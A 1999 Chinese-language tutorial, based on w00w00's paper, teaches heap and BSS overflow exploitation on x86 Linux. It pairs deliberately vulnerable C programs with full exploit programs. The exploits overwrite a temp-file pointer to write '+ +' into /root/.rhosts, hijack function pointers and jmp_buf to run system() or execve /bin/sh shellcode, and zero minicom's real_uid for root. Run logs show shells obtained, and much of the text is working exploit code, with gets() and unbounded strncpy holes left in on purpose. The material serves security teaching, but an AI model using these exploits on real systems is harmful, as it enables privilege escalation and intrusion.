Heap/BSS 溢出机理分析 warning3<@hotmail.com> 1999.12 [前言: ] [ 这篇文章主要是基于w00w00发表的: ] [ w00w00 on Heap Overflows ] [By: Matt Conover (a.k.a. Shok) & w00w00 Security Team ] [-----------------------------------------------------------------------] [Copyright (C) January 1999, Matt Conover & w00w00 Security Development ] [ 也补充了一些程序和自己的想法. ] [ 非常感谢Matt Conover (Shok)给予的热情帮助. ] [ (Thank Shok for his great work and help ) ] [ 你可以从下面的地址获取原文: ] [ http://http://www.w00w00.org/articles.html ] [ 由于时间较紧,疏漏之处难免,任何意见和建议请发给warning3@hotmail.com ] 虽然基于Heap(堆)/BSS的溢出现在是相当普遍的,但并没有多少介绍它的资料。 本文将帮你理解什么是Heap溢出,也介绍了几种常用的攻击方法,同时给出了一些可 能的解决方案。阅读本文,您需要了解一些汇编,C语言以及堆栈溢出的基本知识。 一.为什么Heap/BSS溢出很重要? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 堆栈溢出的问题已经广为人知,越来越多的操作系统商家增加了不可执行堆栈的补 丁,一些个人也提供了自己的补丁,象著名的Solar Designer提供的针对Linux的不可 执行堆栈的kernel patch(目前已经推出了用于2.2.13内核的patch),也有一些人开发 了一些编译器来防止堆栈溢出,象Crispin Cowan等开发的StackGuard等等。这些方法 都一定程度上可以减少由堆栈溢出导致的安全问题,但是并却不能防止Heap/BSS的溢出。 在大多数的操作系统中,Heap和BSS段都是可写可执行的。这就使得Heap/BSS的溢出成 为可能。 大部分的基于heap的溢出都是不依赖于系统和硬件结构的,这将在后面进一步介绍。 二.一些概念 ~~~~~~~~~~~ 一个可执行的文件(比如常见的ELF--Executable and Linking Format格式的可执行 文件)通常包含多个段,比如:PLT(过程连接表),GOT(全局偏移表),init(包含在初始化 时执行的指令),fini(包含程序终止时要执行的指令),以及ctors和dtors(包含一些全 局构造指令和析构指令) 所谓HEAP,就是由应用程序动态分配的内存区。在这里,"由应用程序"来分配是值得特别注 意的,因为在一个好的操作系统中,大部分的内存区实际上是在内核一级被动态分配的,而 Heap段则是由应用程序来分配的。它在编译的时候被初始化。 BSS段包含未被初始化的数据,在程序运行的时候才被分配。在被写入数据前,它始终保持 全零(至少从应用程序的角度看是这样的) 在大部分的系统中,Heap段是向上增长的(向高址方向增长)。因此,当我们说"X在Y的 下面"时,就是指"X的地址低于Y的地址"。 注意:下面提到的"基于heap的溢出"既包含HEAP段的溢出,也包含BSS段的溢出。 三.Heap/BSS溢出攻击 在这一部分中我们将介绍几种不同的利用Heap/BSS溢出的方法。大部分的例子都是针对 x86 Unix系统的。做一些适当的改变,也可以用于DOS和Windows系统。我们也介绍了几种专 门针对DOS/Windows的攻击方法。 注意: 在本文中,为了简单起见,我们使用了精确的偏移量。偏移量必须与实际的值相等,攻 击程序才能工作。当然你也可以象通常的堆栈攻击方法那样,通过提供多个返回地址及插入 空指令等方法以增加成功的机率。 下面的这个例子是给那些不熟悉Heap溢出的人看的,我会做一些简单的解释: ----------------------------------------------------------------------------- /* 演示在heap段(已初始化的数据)发生的动态缓冲区溢出 */ #include #include #include #include #define BUFSIZE 16 #define OVERSIZE 8 /* 我们将覆盖buf2的前OVERSIZE个字节 */ int main() { u_long diff; char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); diff = (u_long)buf2 - (u_long)buf1; printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d)bytes\n", buf1, buf2, diff, diff); memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0';/* 将buf2用'A'填充 */ printf("before overflow: buf2 = %s\n", buf2); memset(buf1, 'B', (u_int)(diff + OVERSIZE)); /* 用diff+OVERSIZE个'B'填充buf1 */ printf("after overflow: buf2 = %s\n", buf2); return 0; } ----------------------------------------------------------------------------- 当我们运行它后,得到下面的结果: [warning3@testserver basic]$ ./heap1 8 buf1 = 0x8049858, buf2 = 0x8049870, diff = 0x18 (24)bytes before overflow: buf2 = AAAAAAAAAAAAAAA after overflow: buf2 = BBBBBBBBAAAAAAA 我们看到buf2的前8个字节被覆盖了。这是因为往buf1中填写的数据超出了它的边界进入了 buf2的范围。由于buf2的数据仍然在有效的heap区内,程序仍然可以正常结束。另外我们 可以注意到,虽然buf1和buf2是相继分配的,但他们并不是紧挨着的,而是有8个字节的间 距,这个间距可能随不同的系统环境而不同。 buf1 间距 buf2 覆盖前:[xxxxxxxxxxxxxxxx][xxxxxxxx][AAAAAAAAAAAAAAA] 低址 -----------------------------------> 高址 覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBB][BBBBBBBBAAAAAAA] 注意: 一个阻止heap溢出的可能的方法就是在heap段的所有变量之间放一个"canary"值(就象 StackGuard中所做的那样),若这个值在执行中被改变,就认为发生了溢出。 为了解释BSS段的溢出,我们来看下面这个例子: ----------------------------------------------------------------------------- /* 演示在BSS段(未被初始化的数据)的静态缓冲区溢出 */ #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 int main(int argc, char **argv) { u_long diff; int oversize; static char buf1[BUFSIZE], buf2[BUFSIZE]; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); fprintf(stderr, "[Will overflow static buffer by ]\n"); exit(ERROR); } diff = (u_long)buf2 - (u_long)buf1; printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d) bytes\n\n", buf1, buf2, diff, diff); memset(buf2, 'A', BUFSIZE - 1), memset(buf1, 'B', BUFSIZE - 1); buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0'; printf("before overflow: buf1 = %s, buf2 = %s\n", buf1, buf2); oversize = diff + atoi(argv[1]); memset(buf1, 'B', oversize); buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0'; printf("after overflow: buf1 = %s, buf2 = %s\n\n", buf1, buf2); return 0; } ----------------------------------------------------------------------------- 当我们运行它后,得到下面的结果: [warning3@testserver basic]$ ./heap2 8 buf1 = 0x8049874, buf2 = 0x8049884, diff = 0x10 (16) bytes before overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = AAAAAAAAAAAAAAA after overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = BBBBBBBBAAAAAAA 和heap溢出类似,buf2的前8个字节也被覆盖了。我们也可以注意到,buf1和buf2是紧挨着 的,这意味着我们可以不用猜测buf1和buf2之间的间距. buf1 buf2 覆盖前:[BBBBBBBBBBBBBBBB][AAAAAAAAAAAAAAA] 低址 ----------------------> 高址 覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBBAAAAAAA] 从上面两个简单的例子,我们可以应该已经了解Heap/BSS溢出的基本方式了。我们能用它 来覆盖一个文件名,口令或者是保存的uid等等... 下面这个例子演示了一个指针是如何被覆盖的: ----------------------------------------------------------------------------- /* 演示在BSS段(未被初始化的数据)中的静态指针溢出 */ #include #include #include #include #include #define BUFSIZE 16 #define ADDRLEN 4 /* 指针地址的长度 */ int main() { u_long diff; static char buf[BUFSIZE], *bufptr; bufptr = buf, diff = (u_long)&bufptr - (u_long)buf; printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); memset(buf, 'A', (u_int)(diff + ADDRLEN));/* 将diff+ADDRLEN字节的'A'填充到buf中 */ printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); return 0; } ----------------------------------------------------------------------------- 当我们运行它后,得到下面的结果: [warning3@testserver basic]$ ./heap3 bufptr (0x8049640) = 0x8049630, buf = 0x8049630, diff = 0x10 (16) bytes bufptr (0x8049640) = 0x41414141, buf = 0x8049630, diff = 0x10 (16) bytes buf bufptr 覆盖前:[xxxxxxxxxxxxxxxx][0x08049630] 低址 ------------------> 高址 覆盖后:[AAAAAAAAAAAAAAAA][0x41414141] [AAAA] 我们可以很清楚的看到,现在指针bufptr现在指向一个不同的地址(0x41414141). 如何利用这一点呢?例如我们可以重写一个临时文件名的指针,使其指向一个不同的字符 串(比如 argv[1]或是由我们提供的某个环境变量),它可以包含"/root/.rhosts"或"/etc/ passwd".... 为了说明这一点,我们再来看一个例子。这个程序会用一个临时文件来储存用户输入的 数据。 ----------------------------------------------------------------------------- /* * 这是一个很典型的有弱点的程序。它将用户的深入储存在一个临时文件中。 * * * 编译方法: gcc -o vulprog1 vulprog1.c */ #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 /* * 将攻击程序以root身份运行或者改变攻击程序中"vulfile"的值。 * 否则,即使攻击程序成功,它也不会有权限修改/root/.rhosts(缺省的例子) * */ int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(ERROR); } tmpfile = "/tmp/vulprog.tmp"; /* 这里暂时不考虑链接问题 :) */ printf("before: tmpfile = %s\n", tmpfile); printf("Enter one line of data to put in %s: ", tmpfile); gets(buf); /* 导致buf溢出 */ printf("\nafter: tmpfile = %s\n", tmpfile); tmpfd = fopen(tmpfile, "w"); if (tmpfd == NULL) { fprintf(stderr, "error opening %s: %s\n", tmpfile, strerror(errno)); exit(ERROR); } fputs(buf, tmpfd); /* 将buf提供的数据存入临时文件 */ fclose(tmpfd); } ----------------------------------------------------------------------------- 这个例子中的情形在编程时是很容易发生的,很多人以为用静态数组和静态指针就会比较 安全,看了下面的攻击程序,我想你就不会这么想了.:-) ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * 这个程序将用来攻击vulprog1.c.它传输参数给有弱点的程序。有弱点的程序 * 以为将我们输入的一行数据储存到了一个临时文件里。然而,因为发生了静态 * 缓冲区溢出的缘故,我们可以修改这个临时文件的指针,让它指向argv[1](我们 * 将传递"/root/.rhosts"给它)。然后程序就会将我们提供的输入数据存在"/root * /.rhosts"中。所以我们用来覆盖缓冲区的字符串将会是下面的格式: * [+ + # ][(tmpfile地址) - (buf 地址)个字符'A'][argv[1]的地址] * * "+ +"后面跟着'#'号是为了防止我们的溢出代码出问题。没有'#'(注释符),使用 * .rhosts的程序就会错误解释我们的溢出代码。 * * 编译方法: gcc -o exploit1 exploit1.c */ #include #include #include #include #define BUFSIZE 256 #define DIFF 16 /* vulprog中buf和tmpfile之间的间距 */ #define VULPROG "./vulprog1" #define VULFILE "/root/.rhosts" /* buf 中的内容将被储存在这个文件中 */ /* 得到当前堆栈的esp,用来计算argv[1]的地址 */ u_long getesp() { __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */ } int main(int argc, char **argv) { u_long addr; register int i; int mainbufsize; char *mainbuf, buf[DIFF+6+1] = "+ +\t# "; /* ------------------------------------------------------ */ if (argc <= 1) { fprintf(stderr, "Usage: %s [try 310-330]\n", argv[0]); exit(ERROR); } /* ------------------------------------------------------ */ memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); /* 将攻击代码填入buf */ memset(buf + strlen(buf), 'A', DIFF); /* 用'A'填满剩余的buf空间 */ addr = getesp() + atoi(argv[1]); /* 计算argv[1]的地址 */ /* 将地址反序排列(在小endian系统中)后存入buf+DIFF处 */ for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255); /* 计算mainbuf的长度 */ mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13; mainbuf = (char *)malloc(mainbufsize); memset(mainbuf, 0, sizeof(mainbuf)); snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n", buf, VULPROG, VULFILE); printf("Overflowing tmpaddr to point to %p, check %s after.\n\n", addr, VULFILE); system(mainbuf); return 0; } ----------------------------------------------------------------------------- [root@testserver vulpkg1]# ./exploit1 349 Overflowing tmpaddr to point to 0xbffffe6d, check /root/.rhosts after. before: tmpfile = /tmp/vulprog.tmp Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = /vulprog1 我们看到现在tmpfile指向argv[0]("./vulprog1"), 我们增加10个字节(argv[0]的长度): [root@testserver vulpkg1]# ./exploit1 359 Overflowing tmpaddr to point to 0xbffffe77, check /root/.rhosts after. before: tmpfile = /tmp/vulprog.tmp Enter one line of data to put in /tmp/vulprog.tmp: after: tmpfile = /root/.rhosts [root@testserver vulpkg1]# cat /root/.rhosts + + # AAAAAAAAAAw?緼A buf tmpfile 覆盖后:[+ +\t# AAAAAAAAAA][0x123445678] 我们已经成功的将"+ +"添加到了/root/.rhosts中!攻击程序覆盖了vulprog用来接受 gets()输入的静态缓冲区,并将猜测的argv[1]的地址覆盖tmpfile.我们可以在mainbuf中 放置任意长度的'A'直到发现多少个'A'才能到达tmpfile的地址。如果你有弱点程序源码的 话,可以增加"printf()"来显示出被覆盖的数据与目标数据之间的距离(比如: 'printf("%p - %p = 0x%lx bytes\n", buf2, buf1, (u_long)diff)'). 但通常这个偏移量在编译的时候会发生改变,但我们可以很容易的重新计算/猜测甚至 "暴力"猜测这个偏移量. 注意: 我们需要一个有效的地址(argv[1]的地址),我们必须将字节顺序反向(在little endian 系统中).Little endian系统通常是低字节在前(x86就是little endian系统). 因此0x12345678在内存中就是按0x78563412的顺序存放。如果我们是在big endian系统 中做这些(比如sparc),我们就不必做反序的处理了。 迄今为止,这些例子中没有一个要求可执行的heap!这些例子都是不依赖系统和硬件 结构的(除了字节反序的部分)。这在攻击heap溢出时是非常有用的。 知道了怎么重写一个指针,我们接下来看看如何修改一个函数指针。与上面的例子不同的是, 修改函数指针的攻击要求有一个可以执行的Heap 函数指针(比如 "int (*funcptr)(char *str)")允许程序员动态修改要被调用的函数。我们 可以重写函数指针的地址,使其被执行的时候转去调用我们指定的函数(代码)。为了达到 这个目的,我们有多种选择。 首先,我们可以使用自己的shellcode,我们可以用两种方法来使用我们的shellcode: 1. argv[]方法 : 将shellcode储存在一个程序参数中(这要求一个可执行的堆栈) 2. heap偏移方法:将shellcode储存在从heap的顶端到被覆盖的指针之间的区域中 (这要求可执行的heap) 注意: heap可执行的可能性比堆栈可执行的可能性要大得多。因此,利用heap的方法可能更 常用一些。 另外的一种方法是简单地猜测一个函数(比如system())的地址。如果我们知道攻击程序中 system()的地址,那么被攻击的程序中system()的地址应该与其相差不员,假设两个程序 在同样的情况下编译的话。这种方法的好处在于它不需要一个可执行的heap。 (另外一种方法是使用PLT(过程链接表),这里就不再详述了,有兴趣的可以看stranJer做 的绕过不可执行堆栈的攻击) 第二种方法的优点就是简单。我们可以很快得从攻击程序的system()的地址猜出有弱点程 序的system()地址。而且在远程系统中也是相同的(如果版本,操作系统和硬件结构都一 样的话)。第一种方法的优点在于我们可以利用自己的shellcode来做任意的事,而且并不 需要考虑函数指针的兼容问题,比如不管是char (*funcptr)(int a)还是void (*funcptr) (),都可以顺利工作(第一种方法就必须考虑这些)。它的缺点就是必须要有可执行的heap /stack. 下面我们再来看一个有弱点的程序: ----------------------------------------------------------------------------- /* * Just the vulnerable program we will exploit. * Compile as: gcc -o vulprog vulprog.c (or change exploit macros) */ #include #include #include #include #define ERROR -1 #define BUFSIZE 64 int goodfunc(const char *str); /* 正常情况下要被funcptr指向的函数 */ int main(int argc, char **argv) { static char buf[BUFSIZE]; static int (*funcptr)(const char *str);/* 这个就是我们将要重写的函数指针 */ if (argc <= 2) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(ERROR); } printf("(for 1st exploit) system() = %p\n", system); printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]); printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf); funcptr = (int (*)(const char *str))goodfunc; printf("before overflow: funcptr points to %p\n", funcptr); memset(buf, 0, sizeof(buf)); /* 溢出有可能在这里发生,这也是很常见的一种错误的使用strncpy的例子 */ strncpy(buf, argv[1], strlen(argv[1])); printf("after overflow: funcptr points to %p\n", funcptr); (void)(*funcptr)(argv[2]); /* 正常情况下将调用goodfunc,参数为argv[2] */ return 0; } /* ---------------------------------------------- */ /* This is what funcptr would point to if we didn't overflow it */ int goodfunc(const char *str) { printf("\nHi, I'm a good function. I was passed: %s\n", str); return 0; } ----------------------------------------------------------------------------- 我们来看看第一个攻击的例子,这里采用的是使用system()的方法: ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * 演示在bss段(未被初始化的数据)中覆盖静态函数指针的方法。 * * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best) * To compile use: gcc -o exploit1 exploit1.c */ #include #include #include #include /* 假设funcptr与buf之间的距离(对于BSS区来说,这个值应该就是buf的大小 */ #define BUFSIZE 64 #define VULPROG "./vulprog" /* 有弱点程序的位置 */ #define CMD "/bin/sh" /* 定义如果攻击成功后要执行的命令 */ #define ERROR -1 int main(int argc, char **argv) { register int i; u_long sysaddr; static char buf[BUFSIZE + sizeof(u_long) + 1] = {0}; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); fprintf(stderr, "[offset = estimated system() offset]\n\n"); exit(ERROR); } sysaddr = (u_long)&system - atoi(argv[1]); /* 计算system()的地址 */ printf("trying system() at 0x%lx\n", sysaddr); memset(buf, 'A', BUFSIZE); /* 在little endian系统中,需要将字节反序排列 */ for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, CMD, NULL); return 0; } ----------------------------------------------------------------------------- 当我们运行它后,得到下面的结果: [warning3@testserver vulpkg2]$ ./exploit2 12 Trying system() at 0x80483fc system()'s address = 0x80483fc before overflow: funcptr points to 0x80485fc after overflow: funcptr points to 0x80483fc bash$ 接下来的例子中我们用了stack和heap的方法: ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * 这演示了如何重写一个静态函数指针使其指向我们提供的shellcode. * 这种方法要求可执行的stack或heap * * 这个程序中有两个参数:offset和heap/stack. 对于stack方法来说, * offset为堆栈顶端到(有弱点程序的)argv[2]的距离. * 对于heap方法来说,offset为heap的顶端到被覆盖的(或指定的)buffer之间的 * 距离。 * * Try values somewhere between 325-345 for argv[] method, and 420-450 * for heap. * * To compile use: gcc -o exploit2 exploit2.c */ #include #include #include #include #define ERROR -1 #define BUFSIZE 64 /* estimated diff between buf/funcptr */ #define VULPROG "./vulprog" /* where the vulprog is */ char shellcode[] = /* just aleph1's old shellcode (linux x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; u_long getesp() { __asm__("movl %esp,%eax"); /* 得到当前堆栈顶端的值 */ } int main(int argc, char **argv) { register int i; u_long sysaddr; char buf[BUFSIZE + sizeof(u_long) + 1]; if (argc <= 2) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(ERROR); } if (strncmp(argv[2], "stack", 5) == 0) /* 使用堆栈的方法 */ { printf("Using stack for shellcode (requires exec. stack)\n"); sysaddr = getesp() + atoi(argv[1]); /* 计算argv[2]的地址 */ printf("Using 0x%lx as our argv[1] address\n\n", sysaddr); memset(buf, 'A', BUFSIZE + sizeof(u_long)); } else /* 使用heap的方法 */ { printf("Using heap buffer for shellcode " "(requires exec. heap)\n"); /* 计算目标buffer的地址(sbrk(0)用来得到heap的顶端地址) */ sysaddr = (u_long)sbrk(0) - atoi(argv[1]); printf("Using 0x%lx as our buffer's address\n\n", sysaddr); /* 计算是否buf与funcptr之间的距离不足以放下我们的shellcode */ /* 如果这段距离比较小的话,其实可以采用另外的方法来填充: */ /* buf funcptr sysaddr /* [sysaddr|sysaddr|...][sysaddr][shellcode] */ if (BUFSIZE + 4 + 1 < strlen(shellcode)) { fprintf(stderr, "error: buffer is too small for shellcode " "(min. = %d bytes)\n", strlen(shellcode)); exit(ERROR); } strcpy(buf, shellcode); memset(buf + strlen(shellcode), 'A', BUFSIZE - strlen(shellcode) + sizeof(u_long)); } buf[BUFSIZE + sizeof(u_long)] = '\0'; /* reverse byte order (on a little endian system) (ntohl equiv) */ for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, shellcode, NULL); return 0; } ----------------------------------------------------------------------------- 先来看看用堆栈的方法: [warning3@testserver vulpkg3]$ ./exploit3 319 stack Using stack for shellcode (requires exec. stack) Using 0xbffffdf7 as our argv[1] address argv[1] = 0xbffffdf7 buf = 0x8049820 before: funcptr = 0x8048500 after: funcptr = 0xbffffdf7 bash$ buf funcptr 堆栈区 覆盖前:[xxxxxx...xxxxxxx][0x08048500] 低址 ------------------> 高址 覆盖后:[AAAAAA...AAAAAAA][0xbffffdf7] [shellcode] | ^ |___________| 下面是用heap的方法: [warning3@testserver vulpkg3]$ ./exploit3 836 heap Using heap buffer for shellcode (requires exec. heap) Using 0x8049820 as our buffer's address argv[1] = 0xbffffdf7 buf = 0x8049820 before: funcptr = 0x8048500 after: funcptr = 0x8049820 bash$ buf funcptr 覆盖前:[xxxxxxxxxxxxxxxx][0x08048500] 低址 ------------------> 高址 覆盖后:[shellcodeAAA...A][0x8049820] ^ |_0x8049820 从上面的例子可以看出,对于同一种问题,可以有几种不同的攻击手法.这里我们另外再介 绍一种类型的攻击.它利用了setjmp和longjmp函数.这两个函数通常用来在一些低阶函数 中处理一些错误和中断.setjmp(jmpbuf)用来保存当前的堆栈栈帧到jmpbuf中,longjmp (jmpbuf,val)将从jmpbuf中恢复堆栈栈帧,longjmp执行完后,程序继续从setjmp()的下一 条语句处执行,并将val作为setjmp()的返回值.jmpbuf中保存有寄存器bx,si,di,bp,sp,pc ,如果我们能在longjmp执行以前覆盖掉jmpbuf,我们就能重写寄存器pc.因此当longjmp恢复 保存的堆栈栈帧后,程序就可能跳到我们指定的地方去执行.至于跳转地址,可以是堆栈中, 也可以是heap中.现在我们以x86系统为例来具体解释一下. (下面的代码在Redhat 6.0 ,2.2.5下编译通过.对于其他的系统,请参考setjmp.h来修改 相应的代码) 首先我们来看一个有弱点的程序: ----------------------------------------------------------------------------- /* * This is just a basic vulnerable program to demonstrate * how to overwrite/modify jmp_buf's to modify the course of * execution. */ #include #include #include #include #include #define ERROR -1 #define BUFSIZE 16 static char buf[BUFSIZE]; jmp_buf jmpbuf; /* jmpbuf是我们想要覆盖的 */ u_long getesp() { __asm__("movl %esp,%eax"); /* 得到当前堆栈指针 */ } int main(int argc, char **argv) { u_long diff; if (argc <= 1) { fprintf(stderr, "Usage: %s \n"); exit(ERROR); } diff=(u_long)jmpbuf-(u_long)buf; printf("diff=%d\n",diff); printf("[vulprog] argv[2] = %p\n", argv[2]); printf("[vulprog] sp = 0x%lx\n\n", getesp()); if (setjmp(jmpbuf)) /* 如果大于0,那么longjmp()应该已经执行完毕了.直接执行setjmp应该返回1 */ { fprintf(stderr, "error: exploit didn't work\n"); exit(ERROR); } /* 我们打印出覆盖前后jmpbuf中保存的寄存器的值 */ printf("before:\n"); printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n", jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], jmpbuf->__jmpbuf[JB_DI]); printf("bp = %p, sp = %p, pc = %p\n\n", jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], jmpbuf->__jmpbuf[JB_PC]); strncpy(buf, argv[1], strlen(argv[1])); /* 这里可能导致jmpbuf被覆盖 */ printf("after:\n"); printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n", jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], jmpbuf->__jmpbuf[JB_DI]); printf("bp = %p, sp = %p, pc = %p\n\n", jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], jmpbuf->__jmpbuf[JB_PC]); longjmp(jmpbuf, 1); return 0; } ----------------------------------------------------------------------------- 在上面的程序中我们打印出寄存器的值,是为了看得更清楚一些,猜测起来也更容易.:-) 下面我们给出攻击程序.它利用argv[]储存代码,程序需要跳到env处执行,需要可执行堆栈. ----------------------------------------------------------------------------- /* * Copyright (C) January 1999, Matt Conover & w00w00 Security Development * * 这个程序用来演示通过覆盖jmpbuf(setjmp/longjmp)来在heap中模拟堆栈溢出的方法 * 我们将覆盖jmpbuf中保存的sp/pc寄存器值.当longjmp()被调用的时候,它将从这个地 * 址开始执行下一条指令.所以,如果我们能将代码存储在这个地址,那它就将被执行 * * This takes two arguments (offsets): * arg 1 - stack offset (should be about 25-45). * arg 2 - argv offset (should be about 310-330). */ #include #include #include #include #define ERROR -1 #define BUFSIZE 36 #define VULPROG "./vulprog4" char shellcode[] = /* just aleph1's old shellcode (linux x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; u_long getesp() { __asm__("movl %esp,%eax"); /* the return value goes in %eax */ } int main(int argc, char **argv) { int stackaddr, argvaddr; register int index, i, j; char buf[BUFSIZE + 24 + 1]; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); fprintf(stderr, "[stack offset = offset to stack of vulprog\n"); fprintf(stderr, "[argv offset = offset to argv[2]]\n"); exit(ERROR); } stackaddr = getesp() - atoi(argv[1]); argvaddr = getesp() + atoi(argv[2]); printf("trying address 0x%lx for argv[2]\n", argvaddr); printf("trying address 0x%lx for sp\n\n", stackaddr); /* * The second memset() is needed, because otherwise some values * will be (null) and the longjmp() won't do our shellcode. */ memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE, 0x1, 12); buf[BUFSIZE+24] = '\0'; /* ------------------------------------- */ /* * 当设置pc指向我们的shellcode地址时,我们会覆盖jmpbuf中的ebp/esp, * 所以,我们将用正确的值重写它们. */ for (i = 0; i < sizeof(u_long); i++) /* setup BP */ { index = BUFSIZE + 12 + i; buf[index] = (stackaddr >> (i * 8)) & 255; } /* ----------------------------- */ for (i = 0; i < sizeof(u_long); i++) /* setup SP */ { index = BUFSIZE + 16 + i; buf[index] = (stackaddr >> (i * 8)) & 255; } /* ----------------------------- */ for (i = 0; i < sizeof(u_long); i++) /* setup PC */ { index = BUFSIZE + 20 + i; buf[index] = (argvaddr >> (i * 8)) & 255; } execl(VULPROG, VULPROG, buf, shellcode, NULL); return 0; } ----------------------------------------------------------------------------- 我们来看一下执行的结果: [warning3@testserver vulpkg4]$ ./exploit4 20 393 trying address 0xbffffe49 for argv[2] trying address 0xbffffcac for sp diff=36 [vulprog] argv[2] = 0xbffffe49 [vulprog] sp = 0xbffffcac before: bx = 0x401041b4, si = 0xbffffd04, di = 0x3 bp = 0xbffffcb8, sp = 0xbffffcac, pc = 0x80485c9 after: bx = 0x1010101, si = 0x1010101, di = 0x1010101 bp = 0xbffffcac, sp = 0xbffffcac, pc = 0xbffffe49 bash$ 我们已经看到,在这些例子中,heap区的溢出可以导致很大的安全问题。而在真实的环境 中,heap区的敏感数据也可能被覆盖。例如: 函数 原因 1. *gets()/*printf(), *scanf() __iob (FILE)结构储存在heap 2. popen() __iob (FILE)结构储存在heap 3. *dir() (readdir, seekdir, ...) DIR 结构 (dir/heap buffers) 4. atexit() 静态/全局函数指针 5. strdup() 在heap区动态分配数据 7. getenv() 储存数据在heap区 8. tmpnam() 储存数据在heap区 9. malloc() 链指针 10. rpc callback 函数 函数指针 11. windows callback 函数 函数指针保存在heap区 12. signal handler pointers 函数指针(注意:unix在内核中跟踪这些信号, in cygnus (gcc for win), 而不是在heap中) printf(),fget(),readir(),seekdir()等函数为FILE结构在heap中分配的空间可以被重写。 atexit()的函数指针将在程序中断时被调用。strdup()会将字符串(如文件名,口令等等) 储存在heap区。malloc()的链指针能被用来非法访问内存。getenv()将数据储存在heap中, 允许我们修改$HOME等变量。svc/rpc注册函数(librpc,libnsl等等)将回叫函数指针储存在 heap中. 现在我们来看一个真实的例子。版本低于1.81.1的minicom有不少缓冲区溢出的漏洞。 其中一个是: case 't': /* Terminal type */ 溢出 ---> strcpy(termtype, optarg); #ifdef __linux__ /* Bug in older libc's (< 4.5.26 I think) */ if ((s = getenv("TERMCAP")) != NULL && *s != '/') unsetenv("TERMCAP"); #endif termtype是static型的数组,也就是在BSS区。现在我们看看是否这块内存中有什么重要 的东西。在minicom.h中,我们看到了: EXTERN int real_uid; /* 真实的用户id */ EXTERN int real_gid; /* 真实的组id */ EXTERN int eff_uid; /* 有效的用户id */ EXTERN int eff_gid; /* 有效的组id */ 如果我们能够修改real_uid,那我们就可能获得root的特权。先让我们看看 它离termtype有多员,我们在minicom.c中插入一行代码: printf ("real_uid is at: %x\n" "termtype is at: %x\n", &real_uid,termtype); 输出结果如下: real_uid is at: 80664b4 termtype is at: 8066480 很好,real_uid的地址比termtype高52个字节.我们只要将第53,54,55,56字节赋为0即可. 但字符串中只有最后一个字节(终止符)才能为0,所以我们不得不执行4次覆盖。 getopg()可以重复的读取一个参数(这里是 -t),因此我们先让它读取termtype+55长的字 符串,这将使realid的最后一个字节为0。然后依次用termtype+54,termtype+53,termtyp e+52来覆盖。这样就会使realid的四个字节都变成0了。 ---------------------------------------------------------------------------- #include #include #include #define OFFSET 52 /* if you figure this out, you could try defining it */ //#define UTTY "/dev/ttyp0" char * makestring (int ch, int len) { static char b[500]; int i; for (i=0 ; i> <完> 参考文献: [1] <> by Matt Conover (a.k.a. Shok) & w00w00 Security Team [2] <> by Crispin Cowan, Perry Wagle, Calton Pu,Steve Beattie, and Jonathan Walpole [3] <>. "ohday" . B4B0,3(9) [4] <>. "Aleph One". Phrack, 7(49)